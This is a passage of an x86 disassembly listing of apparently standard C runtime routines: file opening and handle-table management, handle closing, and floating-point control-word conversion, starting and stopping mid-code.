mov eax, [ecx+eax]
jmp short loc_427FA4
; ---------------------------------------------------------------------------
loc_427F8B: ; CODE XREF: sub_427F40+Cj
; sub_427F40+2Ej
call sub_422F20
mov dword ptr [eax], 9
call sub_422F30
mov dword ptr [eax], 0
or eax, 0FFFFFFFFh
loc_427FA4: ; CODE XREF: sub_427F40+49j
pop ebp
retn
sub_427F40 endp
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
sub esp, 0Ch
mov byte ptr [ebp-0Ch], 0
mov eax, [ebp+0Ch]
and eax, 8
test eax, eax
jz short loc_427FCD
mov cl, [ebp-0Ch]
or cl, 20h
mov [ebp-0Ch], cl
loc_427FCD: ; CODE XREF: .text:00427FC2j
mov edx, [ebp+0Ch]
and edx, 4000h
test edx, edx
jz short loc_427FE2
mov al, [ebp-0Ch]
or al, 80h
mov [ebp-0Ch], al
loc_427FE2: ; CODE XREF: .text:00427FD8j
mov ecx, [ebp+0Ch]
and ecx, 80h
test ecx, ecx
jz short loc_427FF8
mov dl, [ebp-0Ch]
or dl, 10h
mov [ebp-0Ch], dl
loc_427FF8: ; CODE XREF: .text:00427FEDj
mov eax, [ebp+8]
push eax
call ds:dword_4942CC
mov [ebp-4], eax
cmp dword ptr [ebp-4], 0
jnz short loc_428022
call ds:dword_4942F0
push eax
call sub_422E80
add esp, 4
or eax, 0FFFFFFFFh
jmp loc_4280B0
; ---------------------------------------------------------------------------
loc_428022: ; CODE XREF: .text:00428009j
cmp dword ptr [ebp-4], 2
jnz short loc_428033
mov cl, [ebp-0Ch]
or cl, 40h
mov [ebp-0Ch], cl
jmp short loc_428042
; ---------------------------------------------------------------------------
loc_428033: ; CODE XREF: .text:00428026j
cmp dword ptr [ebp-4], 3
jnz short loc_428042
mov dl, [ebp-0Ch]
or dl, 8
mov [ebp-0Ch], dl
loc_428042: ; CODE XREF: .text:00428031j
; .text:00428037j
call sub_427BB0
mov [ebp-8], eax
cmp dword ptr [ebp-8], 0FFFFFFFFh
jnz short loc_42806B
call sub_422F20
mov dword ptr [eax], 18h
call sub_422F30
mov dword ptr [eax], 0
or eax, 0FFFFFFFFh
jmp short loc_4280B0
; ---------------------------------------------------------------------------
loc_42806B: ; CODE XREF: .text:0042804Ej
mov eax, [ebp+8]
push eax
mov ecx, [ebp-8]
push ecx
call sub_427DA0
add esp, 8
mov dl, [ebp-0Ch]
or dl, 1
mov [ebp-0Ch], dl
mov eax, [ebp-8]
sar eax, 5
mov ecx, [ebp-8]
and ecx, 1Fh
imul ecx, 24h
mov edx, dword_492420[eax*4]
mov al, [ebp-0Ch]
mov [edx+ecx+4], al
mov ecx, [ebp-8]
push ecx
call sub_428150
add esp, 4
mov eax, [ebp-8]
loc_4280B0: ; CODE XREF: .text:0042801Dj
; .text:00428069j
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4280C0 proc near ; CODE XREF: sub_421310+50p
; sub_421E90+50p ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
mov eax, [ebp+arg_0]
sar eax, 5
mov ecx, [ebp+arg_0]
and ecx, 1Fh
imul ecx, 24h
mov edx, dword_492420[eax*4]
add edx, ecx
mov [ebp+var_4], edx
mov eax, [ebp+var_4]
cmp dword ptr [eax+8], 0
jnz short loc_428121
push 11h
call sub_41BC90
add esp, 4
mov ecx, [ebp+var_4]
cmp dword ptr [ecx+8], 0
jnz short loc_428117
mov edx, [ebp+var_4]
add edx, 0Ch
push edx
call ds:dword_494430
mov eax, [ebp+var_4]
mov ecx, [eax+8]
add ecx, 1
mov edx, [ebp+var_4]
mov [edx+8], ecx
loc_428117: ; CODE XREF: sub_4280C0+39j
push 11h
call sub_41BD30
add esp, 4
loc_428121: ; CODE XREF: sub_4280C0+26j
mov eax, [ebp+arg_0]
sar eax, 5
mov ecx, [ebp+arg_0]
and ecx, 1Fh
imul ecx, 24h
mov edx, dword_492420[eax*4]
lea eax, [edx+ecx+0Ch]
push eax
call ds:dword_494304
mov esp, ebp
pop ebp
retn
sub_4280C0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_428150 proc near ; CODE XREF: sub_421310+6Bp
; sub_421E90+73p ...
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, [ebp+arg_0]
sar eax, 5
mov ecx, [ebp+arg_0]
and ecx, 1Fh
imul ecx, 24h
mov edx, dword_492420[eax*4]
lea eax, [edx+ecx+0Ch]
push eax
call ds:dword_494300
pop ebp
retn
sub_428150 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_428180 proc near ; CODE XREF: sub_421530+2Fp
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
mov eax, [ebp+arg_0]
cmp eax, dword_492520
jnb short loc_4281B1
mov ecx, [ebp+arg_0]
sar ecx, 5
mov edx, [ebp+arg_0]
and edx, 1Fh
imul edx, 24h
mov eax, dword_492420[ecx*4]
movsx ecx, byte ptr [eax+edx+4]
and ecx, 1
test ecx, ecx
jnz short loc_4281C4
loc_4281B1: ; CODE XREF: sub_428180+Dj
call sub_422F20
mov dword ptr [eax], 9
or eax, 0FFFFFFFFh
jmp loc_42824E
; ---------------------------------------------------------------------------
loc_4281C4: ; CODE XREF: sub_428180+2Fj
mov edx, [ebp+arg_0]
push edx
call sub_4280C0
add esp, 4
mov eax, [ebp+arg_0]
sar eax, 5
mov ecx, [ebp+arg_0]
and ecx, 1Fh
imul ecx, 24h
mov edx, dword_492420[eax*4]
movsx eax, byte ptr [edx+ecx+4]
and eax, 1
test eax, eax
jz short loc_42822D
mov ecx, [ebp+arg_0]
push ecx
call sub_427F40
add esp, 4
push eax
call ds:dword_4942B8
test eax, eax
jnz short loc_428214
call ds:dword_4942F0
mov [ebp+var_4], eax
jmp short loc_42821B
; ---------------------------------------------------------------------------
loc_428214: ; CODE XREF: sub_428180+87j
mov [ebp+var_4], 0
loc_42821B: ; CODE XREF: sub_428180+92j
cmp [ebp+var_4], 0
jnz short loc_428223
jmp short loc_42823F
; ---------------------------------------------------------------------------
loc_428223: ; CODE XREF: sub_428180+9Fj
call sub_422F30
mov edx, [ebp+var_4]
mov [eax], edx
loc_42822D: ; CODE XREF: sub_428180+70j
call sub_422F20
mov dword ptr [eax], 9
mov [ebp+var_4], 0FFFFFFFFh
loc_42823F: ; CODE XREF: sub_428180+A1j
mov eax, [ebp+arg_0]
push eax
call sub_428150
add esp, 4
mov eax, [ebp+var_4]
loc_42824E: ; CODE XREF: sub_428180+3Fj
mov esp, ebp
pop ebp
retn
sub_428180 endp
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
sub esp, 8
lea eax, [ebp+10h]
mov [ebp-8], eax
mov ecx, [ebp-8]
add ecx, 4
mov [ebp-8], ecx
mov edx, [ebp-8]
mov eax, [edx-4]
mov [ebp-4], eax
mov dword ptr [ebp-8], 0
mov ecx, [ebp-4]
push ecx
push 40h
mov edx, [ebp+0Ch]
push edx
mov eax, [ebp+8]
push eax
call sub_4282A0
add esp, 10h
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4282A0 proc near ; CODE XREF: sub_421980+2B0p
; .text:00428293p
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = byte ptr -38h
var_34 = dword ptr -34h
var_30 = byte ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = byte ptr 14h
push ebp
mov ebp, esp
sub esp, 48h
mov [ebp+var_24], 0Ch
mov [ebp+var_20], 0
mov eax, [ebp+arg_4]
and eax, 80h
test eax, eax
jz short loc_4282CD
mov [ebp+var_1C], 0
mov [ebp+var_38], 10h
jmp short loc_4282D8
; ---------------------------------------------------------------------------
loc_4282CD: ; CODE XREF: sub_4282A0+1Ej
mov [ebp+var_1C], 1
mov [ebp+var_38], 0
loc_4282D8: ; CODE XREF: sub_4282A0+2Bj
mov ecx, [ebp+arg_4]
and ecx, 8000h
test ecx, ecx
jnz short loc_428311
mov edx, [ebp+arg_4]
and edx, 4000h
test edx, edx
jz short loc_4282FC
mov al, [ebp+var_38]
or al, 80h
mov [ebp+var_38], al
jmp short loc_428311
; ---------------------------------------------------------------------------
loc_4282FC: ; CODE XREF: sub_4282A0+50j
cmp dword_4923EC, 8000h
jz short loc_428311
mov cl, [ebp+var_38]
or cl, 80h
mov [ebp+var_38], cl
loc_428311: ; CODE XREF: sub_4282A0+43j
; sub_4282A0+5Aj ...
mov edx, [ebp+arg_4]
and edx, 3
mov [ebp+var_40], edx
cmp [ebp+var_40], 0
jz short loc_42832E
cmp [ebp+var_40], 1
jz short loc_428337
cmp [ebp+var_40], 2
jz short loc_428340
jmp short loc_428349
; ---------------------------------------------------------------------------
loc_42832E: ; CODE XREF: sub_4282A0+7Ej
mov [ebp+var_34], 80000000h
jmp short loc_428367
; ---------------------------------------------------------------------------
loc_428337: ; CODE XREF: sub_4282A0+84j
mov [ebp+var_34], 40000000h
jmp short loc_428367
; ---------------------------------------------------------------------------
loc_428340: ; CODE XREF: sub_4282A0+8Aj
mov [ebp+var_34], 0C0000000h
jmp short loc_428367
; ---------------------------------------------------------------------------
loc_428349: ; CODE XREF: sub_4282A0+8Cj
call sub_422F20
mov dword ptr [eax], 16h
call sub_422F30
mov dword ptr [eax], 0
or eax, 0FFFFFFFFh
jmp loc_4287AA
; ---------------------------------------------------------------------------
loc_428367: ; CODE XREF: sub_4282A0+95j
; sub_4282A0+9Ej ...
mov eax, [ebp+arg_8]
mov [ebp+var_44], eax
mov ecx, [ebp+var_44]
sub ecx, 10h
mov [ebp+var_44], ecx
cmp [ebp+var_44], 30h
ja short loc_4283B2
mov eax, [ebp+var_44]
xor edx, edx
mov dl, ds:byte_4287C2[eax]
jmp ds:off_4287AE[edx*4]
loc_42838E: ; DATA XREF: .text:off_4287AEo
mov [ebp+var_8], 0
jmp short loc_4283D0
; ---------------------------------------------------------------------------
loc_428397: ; CODE XREF: sub_4282A0+E7j
; DATA XREF: .text:004287B2o
mov [ebp+var_8], 1
jmp short loc_4283D0
; ---------------------------------------------------------------------------
loc_4283A0: ; CODE XREF: sub_4282A0+E7j
; DATA XREF: .text:004287B6o
mov [ebp+var_8], 2
jmp short loc_4283D0
; ---------------------------------------------------------------------------
loc_4283A9: ; CODE XREF: sub_4282A0+E7j
; DATA XREF: .text:004287BAo
mov [ebp+var_8], 3
jmp short loc_4283D0
; ---------------------------------------------------------------------------
loc_4283B2: ; CODE XREF: sub_4282A0+DAj
; sub_4282A0+E7j
; DATA XREF: ...
call sub_422F20
mov dword ptr [eax], 16h
call sub_422F30
mov dword ptr [eax], 0
or eax, 0FFFFFFFFh
jmp loc_4287AA
; ---------------------------------------------------------------------------
loc_4283D0: ; CODE XREF: sub_4282A0+F5j
; sub_4282A0+FEj ...
mov ecx, [ebp+arg_4]
and ecx, 700h
mov [ebp+var_48], ecx
cmp [ebp+var_48], 400h
jg short loc_42841C
cmp [ebp+var_48], 400h
jz short loc_428439
cmp [ebp+var_48], 200h
jg short loc_428411
cmp [ebp+var_48], 200h
jz short loc_428454
cmp [ebp+var_48], 0
jz short loc_428439
cmp [ebp+var_48], 100h
jz short loc_428442
jmp short loc_428466
; ---------------------------------------------------------------------------
loc_428411: ; CODE XREF: sub_4282A0+155j
cmp [ebp+var_48], 300h
jz short loc_42845D
jmp short loc_428466
; ---------------------------------------------------------------------------
loc_42841C: ; CODE XREF: sub_4282A0+143j
cmp [ebp+var_48], 500h
jz short loc_42844B
cmp [ebp+var_48], 600h
jz short loc_428454
cmp [ebp+var_48], 700h
jz short loc_42844B
jmp short loc_428466
; ---------------------------------------------------------------------------
loc_428439: ; CODE XREF: sub_4282A0+14Cj
; sub_4282A0+164j
mov [ebp+var_18], 3
jmp short loc_428484
; ---------------------------------------------------------------------------
loc_428442: ; CODE XREF: sub_4282A0+16Dj
mov [ebp+var_18], 4
jmp short loc_428484
; ---------------------------------------------------------------------------
loc_42844B: ; CODE XREF: sub_4282A0+183j
; sub_4282A0+195j
mov [ebp+var_18], 1
jmp short loc_428484
; ---------------------------------------------------------------------------
loc_428454: ; CODE XREF: sub_4282A0+15Ej
; sub_4282A0+18Cj
mov [ebp+var_18], 5
jmp short loc_428484
; ---------------------------------------------------------------------------
loc_42845D: ; CODE XREF: sub_4282A0+178j
mov [ebp+var_18], 2
jmp short loc_428484
; ---------------------------------------------------------------------------
loc_428466: ; CODE XREF: sub_4282A0+16Fj
; sub_4282A0+17Aj ...
call sub_422F20
mov dword ptr [eax], 16h
call sub_422F30
mov dword ptr [eax], 0
or eax, 0FFFFFFFFh
jmp loc_4287AA
; ---------------------------------------------------------------------------
loc_428484: ; CODE XREF: sub_4282A0+1A0j
; sub_4282A0+1A9j ...
mov [ebp+var_28], 80h
mov edx, [ebp+arg_4]
and edx, 100h
test edx, edx
jz short loc_4284D5
lea eax, [ebp+arg_C]
mov [ebp+var_2C], eax
mov ecx, [ebp+var_2C]
add ecx, 4
mov [ebp+var_2C], ecx
mov edx, [ebp+var_2C]
mov eax, [edx-4]
mov [ebp+var_10], eax
mov [ebp+var_2C], 0
mov ecx, dword_492090
not ecx
mov edx, [ebp+var_10]
and edx, ecx
and edx, 80h
test edx, edx
jnz short loc_4284D5
mov [ebp+var_28], 1
loc_4284D5: ; CODE XREF: sub_4282A0+1F6j
; sub_4282A0+22Cj
mov eax, [ebp+arg_4]
and eax, 40h
test eax, eax
jz short loc_4284F7
mov ecx, [ebp+var_28]
or ecx, 4000000h
mov [ebp+var_28], ecx
mov edx, [ebp+var_34]
or edx, 10000h
mov [ebp+var_34], edx
loc_4284F7: ; CODE XREF: sub_4282A0+23Dj
mov eax, [ebp+arg_4]
and eax, 1000h
test eax, eax
jz short loc_42850C
mov ecx, [ebp+var_28]
or ch, 1
mov [ebp+var_28], ecx
loc_42850C: ; CODE XREF: sub_4282A0+261j
mov edx, [ebp+arg_4]
and edx, 20h
test edx, edx
jz short loc_428523
mov eax, [ebp+var_28]
or eax, 8000000h
mov [ebp+var_28], eax
jmp short loc_428539
; ---------------------------------------------------------------------------
loc_428523: ; CODE XREF: sub_4282A0+274j
mov ecx, [ebp+arg_4]
and ecx, 10h
test ecx, ecx
jz short loc_428539
mov edx, [ebp+var_28]
or edx, 10000000h
mov [ebp+var_28], edx
loc_428539: ; CODE XREF: sub_4282A0+281j
; sub_4282A0+28Bj
call sub_427BB0
mov [ebp+var_14], eax
cmp [ebp+var_14], 0FFFFFFFFh
jnz short loc_428565
call sub_422F20
mov dword ptr [eax], 18h
call sub_422F30
mov dword ptr [eax], 0
or eax, 0FFFFFFFFh
jmp loc_4287AA
; ---------------------------------------------------------------------------
loc_428565: ; CODE XREF: sub_4282A0+2A5j
push 0
mov eax, [ebp+var_28]
push eax
mov ecx, [ebp+var_18]
push ecx
lea edx, [ebp+var_24]
push edx
mov eax, [ebp+var_8]
push eax
mov ecx, [ebp+var_34]
push ecx
mov edx, [ebp+arg_0]
push edx
call ds:dword_4942EC
mov [ebp+var_4], eax
cmp [ebp+var_4], 0FFFFFFFFh
jnz short loc_4285B1
call ds:dword_4942F0
push eax
call sub_422E80
add esp, 4
mov eax, [ebp+var_14]
push eax
call sub_428150
add esp, 4
or eax, 0FFFFFFFFh
jmp loc_4287AA
; ---------------------------------------------------------------------------
loc_4285B1: ; CODE XREF: sub_4282A0+2ECj
mov ecx, [ebp+var_4]
push ecx
call ds:dword_4942CC
mov [ebp+var_C], eax
cmp [ebp+var_C], 0
jnz short loc_4285F1
mov edx, [ebp+var_4]
push edx
call ds:dword_4942E0
call ds:dword_4942F0
push eax
call sub_422E80
add esp, 4
mov eax, [ebp+var_14]
push eax
call sub_428150
add esp, 4
or eax, 0FFFFFFFFh
jmp loc_4287AA
; ---------------------------------------------------------------------------
loc_4285F1: ; CODE XREF: sub_4282A0+322j
cmp [ebp+var_C], 2
jnz short loc_428602
mov cl, [ebp+var_38]
or cl, 40h
mov [ebp+var_38], cl
jmp short loc_428611
; ---------------------------------------------------------------------------
loc_428602: ; CODE XREF: sub_4282A0+355j
cmp [ebp+var_C], 3
jnz short loc_428611
mov dl, [ebp+var_38]
or dl, 8
mov [ebp+var_38], dl
loc_428611: ; CODE XREF: sub_4282A0+360j
; sub_4282A0+366j
mov eax, [ebp+var_4]
push eax
mov ecx, [ebp+var_14]
push ecx
call sub_427DA0
add esp, 8
mov dl, [ebp+var_38]
or dl, 1
mov [ebp+var_38], dl
mov eax, [ebp+var_14]
sar eax, 5
mov ecx, [ebp+var_14]
and ecx, 1Fh
imul ecx, 24h
mov edx, dword_492420[eax*4]
mov al, [ebp+var_38]
mov [edx+ecx+4], al
movsx ecx, [ebp+var_38]
and ecx, 48h
test ecx, ecx
jnz loc_42874F
movsx edx, [ebp+var_38]
and edx, 80h
test edx, edx
jz loc_42874F
mov eax, [ebp+arg_4]
and eax, 2
test eax, eax
jz loc_42874F
push 2
push 0FFFFFFFFh
mov ecx, [ebp+var_14]
push ecx
call sub_424B90
add esp, 0Ch
mov [ebp+var_3C], eax
cmp [ebp+var_3C], 0FFFFFFFFh
jnz short loc_4286C1
call sub_422F30
cmp dword ptr [eax], 83h
jz short loc_4286BC
mov edx, [ebp+var_14]
push edx
call sub_421310
add esp, 4
mov eax, [ebp+var_14]
push eax
call sub_428150
add esp, 4
or eax, 0FFFFFFFFh
jmp loc_4287AA
; ---------------------------------------------------------------------------
loc_4286BC: ; CODE XREF: sub_4282A0+3FAj
jmp loc_42874F
; ---------------------------------------------------------------------------
loc_4286C1: ; CODE XREF: sub_4282A0+3EDj
mov [ebp+var_30], 0
push 1
lea ecx, [ebp+var_30]
push ecx
mov edx, [ebp+var_14]
push edx
call sub_421F20
add esp, 0Ch
test eax, eax
jnz short loc_428719
movsx eax, [ebp+var_30]
cmp eax, 1Ah
jnz short loc_428719
mov ecx, [ebp+var_3C]
push ecx
mov edx, [ebp+var_14]
push edx
call sub_42C610
add esp, 8
cmp eax, 0FFFFFFFFh
jnz short loc_428719
mov eax, [ebp+var_14]
push eax
call sub_421310
add esp, 4
mov ecx, [ebp+var_14]
push ecx
call sub_428150
add esp, 4
or eax, 0FFFFFFFFh
jmp loc_4287AA
; ---------------------------------------------------------------------------
loc_428719: ; CODE XREF: sub_4282A0+439j
; sub_4282A0+442j ...
push 0
push 0
mov edx, [ebp+var_14]
push edx
call sub_424B90
add esp, 0Ch
mov [ebp+var_3C], eax
cmp [ebp+var_3C], 0FFFFFFFFh
jnz short loc_42874F
mov eax, [ebp+var_14]
push eax
call sub_421310
add esp, 4
mov ecx, [ebp+var_14]
push ecx
call sub_428150
add esp, 4
or eax, 0FFFFFFFFh
jmp short loc_4287AA
; ---------------------------------------------------------------------------
loc_42874F: ; CODE XREF: sub_4282A0+3B0j
; sub_4282A0+3C2j ...
movsx edx, [ebp+var_38]
and edx, 48h
test edx, edx
jnz short loc_42879B
mov eax, [ebp+arg_4]
and eax, 8
test eax, eax
jz short loc_42879B
mov ecx, [ebp+var_14]
sar ecx, 5
mov edx, [ebp+var_14]
and edx, 1Fh
imul edx, 24h
mov eax, dword_492420[ecx*4]
mov cl, [eax+edx+4]
or cl, 20h
mov edx, [ebp+var_14]
sar edx, 5
mov eax, [ebp+var_14]
and eax, 1Fh
imul eax, 24h
mov edx, dword_492420[edx*4]
mov [edx+eax+4], cl
loc_42879B: ; CODE XREF: sub_4282A0+4B8j
; sub_4282A0+4C2j
mov eax, [ebp+var_14]
push eax
call sub_428150
add esp, 4
mov eax, [ebp+var_14]
loc_4287AA: ; CODE XREF: sub_4282A0+C2j
; sub_4282A0+12Bj ...
mov esp, ebp
pop ebp
retn
sub_4282A0 endp
; ---------------------------------------------------------------------------
off_4287AE dd offset loc_42838E ; DATA XREF: sub_4282A0+E7r
dd offset loc_428397
dd offset loc_4283A0
dd offset loc_4283A9
dd offset loc_4283B2
byte_4287C2 db 0 ; DATA XREF: sub_4282A0+E1r
db 4
dd 3 dup(4040404h), 4010404h, 3 dup(4040404h), 4020404h
dd 3 dup(4040404h), 0CC030404h, 3 dup(0CCCCCCCCh)
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
fstsw word ptr [ebp-4]
mov ax, [ebp-4]
push eax
call sub_428BF0
add esp, 4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
fnstsw word ptr [ebp-4]
fnclex
mov ax, [ebp-4]
push eax
call sub_428BF0
add esp, 4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_428840 proc near ; CODE XREF: sub_428890+10p
var_10 = word ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = word ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 10h
push ebx
push esi
push edi
fstcw [ebp+var_10]
mov ax, [ebp+var_10]
push eax
call sub_428910
add esp, 4
mov [ebp+var_8], eax
mov ecx, [ebp+arg_0]
and ecx, [ebp+arg_4]
mov edx, [ebp+arg_4]
not edx
mov eax, [ebp+var_8]
and eax, edx
or ecx, eax
mov [ebp+var_C], ecx
mov ecx, [ebp+var_C]
push ecx
call sub_428A90
add esp, 4
mov [ebp+var_4], ax
fldcw [ebp+var_4]
mov eax, [ebp+var_C]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_428840 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_428890 proc near ; CODE XREF: sub_422680+Dp
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
mov eax, [ebp+arg_4]
and eax, 0FFF7FFFFh
push eax
mov ecx, [ebp+arg_0]
push ecx
call sub_428840
add esp, 8
pop ebp
retn
sub_428890 endp
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
call sub_426B30
mov eax, [eax]
mov [ebp-4], eax
fninit
call sub_422680
cmp dword ptr [ebp-4], 0
jz short loc_428901
mov ecx, [ebp-4]
mov edx, [ecx+4]
mov eax, [edx]
and eax, 10008h
test eax, eax
jz short loc_428901
mov ecx, [ebp-4]
mov edx, [ecx+4]
add edx, 1Ch
mov [ebp-8], edx
mov eax, [ebp-8]
mov dword ptr [eax+4], 0
mov ecx, [ebp-8]
mov dword ptr [ecx+8], 0FFFFh
loc_428901: ; CODE XREF: .text:004288CEj
; .text:004288DFj
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_428910 proc near ; CODE XREF: sub_428840+12p
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0Ch
mov [ebp+var_4], 0
mov eax, [ebp+arg_0]
and eax, 0FFFFh
and eax, 1
test eax, eax
jz short loc_428935
mov ecx, [ebp+var_4]
or ecx, 10h
mov [ebp+var_4], ecx
loc_428935: ; CODE XREF: sub_428910+1Aj
mov edx, [ebp+arg_0]
and edx, 0FFFFh
and edx, 4
test edx, edx
jz short loc_42894D
mov eax, [ebp+var_4]
or al, 8
mov [ebp+var_4], eax
loc_42894D: ; CODE XREF: sub_428910+33j
mov ecx, [ebp+arg_0]
and ecx, 0FFFFh
and ecx, 8
test ecx, ecx
jz short loc_428966
mov edx, [ebp+var_4]
or edx, 4
mov [ebp+var_4], edx
loc_428966: ; CODE XREF: sub_428910+4Bj
mov eax, [ebp+arg_0]
and eax, 0FFFFh
and eax, 10h
test eax, eax
jz short loc_42897E
mov ecx, [ebp+var_4]
or ecx, 2
mov [ebp+var_4], ecx
loc_42897E: ; CODE XREF: sub_428910+63j
mov edx, [ebp+arg_0]
and edx, 0FFFFh
and edx, 20h
test edx, edx
jz short loc_428996
mov eax, [ebp+var_4]
or al, 1
mov [ebp+var_4], eax
loc_428996: ; CODE XREF: sub_428910+7Cj
mov ecx, [ebp+arg_0]
and ecx, 0FFFFh
and ecx, 2
test ecx, ecx
jz short loc_4289B2
mov edx, [ebp+var_4]
or edx, 80000h
mov [ebp+var_4], edx
loc_4289B2: ; CODE XREF: sub_428910+94j
mov eax, [ebp+arg_0]
and eax, 0FFFFh
and eax, 0C00h
mov [ebp+var_8], eax
cmp [ebp+var_8], 800h
jg short loc_4289E5
cmp [ebp+var_8], 800h
jz short loc_4289F8
cmp [ebp+var_8], 0
jz short loc_4289F0
cmp [ebp+var_8], 400h
jz short loc_428A03
jmp short loc_428A17
; ---------------------------------------------------------------------------
loc_4289E5: ; CODE XREF: sub_428910+B9j
cmp [ebp+var_8], 0C00h
jz short loc_428A0E
jmp short loc_428A17
; ---------------------------------------------------------------------------
loc_4289F0: ; CODE XREF: sub_428910+C8j
mov ecx, [ebp+var_4]
mov [ebp+var_4], ecx
jmp short loc_428A17
; ---------------------------------------------------------------------------
loc_4289F8: ; CODE XREF: sub_428910+C2j
mov edx, [ebp+var_4]
or dh, 2
mov [ebp+var_4], edx
jmp short loc_428A17
; ---------------------------------------------------------------------------
loc_428A03: ; CODE XREF: sub_428910+D1j
mov eax, [ebp+var_4]
or ah, 1
mov [ebp+var_4], eax
jmp short loc_428A17
; ---------------------------------------------------------------------------
loc_428A0E: ; CODE XREF: sub_428910+DCj
mov ecx, [ebp+var_4]
or ch, 3
mov [ebp+var_4], ecx
loc_428A17: ; CODE XREF: sub_428910+D3j
; sub_428910+DEj ...
mov edx, [ebp+arg_0]
and edx, 0FFFFh
and edx, 300h
mov [ebp+var_C], edx
cmp [ebp+var_C], 0
jz short loc_428A59
cmp [ebp+var_C], 200h
jz short loc_428A4B
cmp [ebp+var_C], 300h
jz short loc_428A43
jmp short loc_428A65
; ---------------------------------------------------------------------------
loc_428A43: ; CODE XREF: sub_428910+12Fj
mov eax, [ebp+var_4]
mov [ebp+var_4], eax
jmp short loc_428A65
; ---------------------------------------------------------------------------
loc_428A4B: ; CODE XREF: sub_428910+126j
mov ecx, [ebp+var_4]
or ecx, 10000h
mov [ebp+var_4], ecx
jmp short loc_428A65
; ---------------------------------------------------------------------------
loc_428A59: ; CODE XREF: sub_428910+11Dj
mov edx, [ebp+var_4]
or edx, 20000h
mov [ebp+var_4], edx
loc_428A65: ; CODE XREF: sub_428910+131j
; sub_428910+139j ...
mov eax, [ebp+arg_0]
and eax, 0FFFFh
and eax, 1000h
test eax, eax
jz short loc_428A82
mov ecx, [ebp+var_4]
or ecx, 40000h
mov [ebp+var_4], ecx
loc_428A82: ; CODE XREF: sub_428910+164j
mov eax, [ebp+var_4]
mov esp, ebp
pop ebp
retn
sub_428910 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_428A90 proc near ; CODE XREF: sub_428840+36p
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = word ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0Ch
mov [ebp+var_4], 0
mov eax, [ebp+arg_0]
and eax, 10h
test eax, eax
jz short loc_428AB1
mov cx, [ebp+var_4]
or cl, 1
mov [ebp+var_4], cx
loc_428AB1: ; CODE XREF: sub_428A90+14j
mov edx, [ebp+arg_0]
and edx, 8
test edx, edx
jz short loc_428AC5
mov ax, [ebp+var_4]
or al, 4
mov [ebp+var_4], ax
loc_428AC5: ; CODE XREF: sub_428A90+29j
mov ecx, [ebp+arg_0]
and ecx, 4
test ecx, ecx
jz short loc_428ADA
mov dx, [ebp+var_4]
or dl, 8
mov [ebp+var_4], dx
loc_428ADA: ; CODE XREF: sub_428A90+3Dj
mov eax, [ebp+arg_0]
and eax, 2
test eax, eax
jz short loc_428AEF
mov cx, [ebp+var_4]
or cl, 10h
mov [ebp+var_4], cx
loc_428AEF: ; CODE XREF: sub_428A90+52j
mov edx, [ebp+arg_0]
and edx, 1
test edx, edx
jz short loc_428B03
mov ax, [ebp+var_4]
or al, 20h
mov [ebp+var_4], ax
loc_428B03: ; CODE XREF: sub_428A90+67j
mov ecx, [ebp+arg_0]
and ecx, 80000h
test ecx, ecx
jz short loc_428B1B
mov dx, [ebp+var_4]
or dl, 2
mov [ebp+var_4], dx
loc_428B1B: ; CODE XREF: sub_428A90+7Ej
mov eax, [ebp+arg_0]
and eax, 300h
mov [ebp+var_8], eax
cmp [ebp+var_8], 200h
ja short loc_428B49
cmp [ebp+var_8], 200h
jz short loc_428B5E
cmp [ebp+var_8], 0
jz short loc_428B54
cmp [ebp+var_8], 100h
jz short loc_428B6B
jmp short loc_428B83
; ---------------------------------------------------------------------------
loc_428B49: ; CODE XREF: sub_428A90+9Dj
cmp [ebp+var_8], 300h
jz short loc_428B78
jmp short loc_428B83
; ---------------------------------------------------------------------------
loc_428B54: ; CODE XREF: sub_428A90+ACj
mov cx, [ebp+var_4]
